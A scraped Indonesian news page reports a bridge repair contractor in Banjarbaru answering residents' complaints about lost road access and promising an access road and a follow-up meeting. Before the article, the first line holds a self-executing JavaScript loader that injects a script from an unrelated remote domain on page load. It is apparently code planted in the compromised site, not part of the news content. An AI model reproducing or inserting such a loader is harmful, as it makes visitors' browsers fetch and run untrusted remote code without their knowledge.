(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pelaksana kegiatan perbaikan Jembatan Sei Ulin Jalan Ahmad Yani Kilometer 31,5 atau depan Kolam Renang Antasari Banjarbaru menanggapi protes warga yang mengalami kesulitan akses jalan.
Koordinator lapangan (Korlap) proyek pembangunan Jembatan Sei Ulin, Bustanul Ariffin mengatakan, pihaknya datang menanggapi sejumlah keluhan terutama terkait akses jalan. Dimana ada tiga kepala keluarga yang terdampak akses jalan yang sulit, seperti pemilik rumah di kawasan Klinik Pratama, pedagang karpet, dan pemilik toko figura.
“Kita jelaskan dan memang ada rencana kita buatkan jalan akses. Insyaallah cukup layak, aman, landai, kita tunjukkan contoh-contohnya,” ujar Korlap Proyek Pembangunan Jembatan Sei Ulin, Bustanul Ariffin saat ditemui di lapangan, Selasa (5/8/2025) siang.
Baca juga: Ketinggian Oprit Diprotes Warga, Pembangunan Jembatan Km 31,5 Banjarbaru Terhenti
Korlap Proyek Pembangunan Jembatan Sei Ulin, Bustanul Ariffin. Foto: wanda
Tak hanya itu, warga turut mengeluhkan dampak ekonomi setelah proyek perbaikan jembatan mulai berjalan. Karena tak semua warga berkumpul, pihaknya akan menjadwalkan pertemuan diskusi dengan turut mengundang Pemerintah Kota Banjarbaru.
“Ada juga dampak sosial, warung-warung berjualan di ujung oprit. Untuk terdampak akses jalan ada tiga yaitu pak Budiono, pak Gatot, dan pak Susilo. Karena warga tidak semua berkumpul semuanya jadi besok meminta ada pertemuan lagi dan bisa dihadiri Pemko,” jelasnya.
“Dan kami siap besok berdiskusi lebih detailnya,” tambah Bustanul.
Baca juga: Wali Kota Lisa Halaby: Ada 43 Kejadian Karhutla di Banjarbaru
Bustanul menjelaskan bahwa dalam desain pembangunan jembatan ini pihaknya memperhatihkan ketentuan-ketentuan teknis yang harus dipenuhi.
“Seperti ada untuk elevasinya, persyaratan kelandaian jalan untuk keamanan dan kenyamanan pengguna jalan. Itu menjadi salah satu prioritas utama kami, tetapi kami juga memperhatikan bagaimana akses ke rumah-rumah warga tetap nyaman, tadi sudah kita coba konsepkan,” jelasnya.
Baca juga: 290 Gram Sabu Lintas Daerah dari Dua Lelaki Diungkap Polres HSU
Dia menegaskan proses pengerjaan perbaikan jembatan ini tetap berjalan sebagaimana yang telah direncanakan.
“Untuk pengerjaan dinding penah tanahnya sementara kita menunggu hasil kesepakatan besok. Masih ada pengerjaan bagian lainnya, tetap berjalan normal, seperti di sisi sebelah timur,” tutup Bustanul. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More
This website uses cookies.